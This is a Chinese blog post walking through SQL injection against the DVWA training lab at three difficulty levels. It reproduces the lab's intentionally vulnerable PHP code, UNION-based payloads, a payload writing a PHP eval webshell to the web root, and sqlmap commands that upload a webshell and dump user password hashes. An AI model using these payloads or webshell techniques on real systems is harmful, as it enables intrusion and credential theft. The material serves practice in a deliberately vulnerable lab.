欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【dvwa】--SQL注入

程序员文章站 2022-05-12 12:00:46
...

为了准备跑路,练习ing。

SQL注入篇

LOW级别

先上源码

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        // Increase loop count
        $i++;
    }
    mysql_close();
}
?>

从源码中可以发现,输入的参数直接带入到了SQL语句中执行,并未做任何过滤。

手注

【dvwa】--SQL注入
输入1’报错,后端未对SQL错误进行屏蔽
【dvwa】--SQL注入
尝试构造payload测试,获取当前的表名

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
【dvwa】--SQL注入
发现存在users表,根据表名爆列名
【dvwa】--SQL注入
发现字段名,根据字段名获取字段值
【dvwa】--SQL注入
拿到md5后,到cmd5**即可
利用SQL注入写入webshell,payload

http://192.168.57.200/vulnerabilities/sqli/?id=1' union select 1,'<?php @eval($_POST[pass]);?>' into outfile '/var/www/html/shell.php' #&Submit=Submit#

需要是数据库管理员
有web目录有写入权限
站库未分离
【dvwa】--SQL注入

使用sqlmap写入webshell,必须要指定远端服务器上的文件名

sqlmap -u "http://192.168.57.200/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ngt585ss15mus0hmek7ra7jid0; security=low" --file-write "/root/shell1.php" --file-dest "/var/www/html/shell1.php"

菜刀连接:
【dvwa】--SQL注入

MEDIUM级别

先上源码

<?php
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        // Increase loop count
        $i++;
    }
    //mysql_close();
}
?>

从源码中可以看出有使用mysql_real_escape_string()对输入的数据进行过滤。百度一下发现过滤了单双引号:

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\

"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

过滤了单双引号,where后面就不能使用单双引号了。可以改成16进制编码绕过,此处不再重复。改成16进制后,where后面不需要使用“”

数据库版本:
mysql> select @@version;
±------------------------+
| @@version |
±------------------------+
| 5.5.47-0ubuntu0.14.04.1 |
±------------------------+
【dvwa】--SQL注入

high级别

源码:

SQL Injection Source
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        // Increase loop count
        $i++;
    }
    mysql_close();
}
?>

【dvwa】--SQL注入
从图中可以看出,源码未对输入内容进行过滤。但需要在新的页面中手注。此处也可以使用sqlmap实现二阶注入

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --cookie="security=high; PHPSESSID=sn535dq4ec4kv2hi50oeltrua9" --second-url "http://localhost/dvwa/vulnerabilities/sqli/" -D dvwa -T users -C user,password --dump
相关标签: 信息安全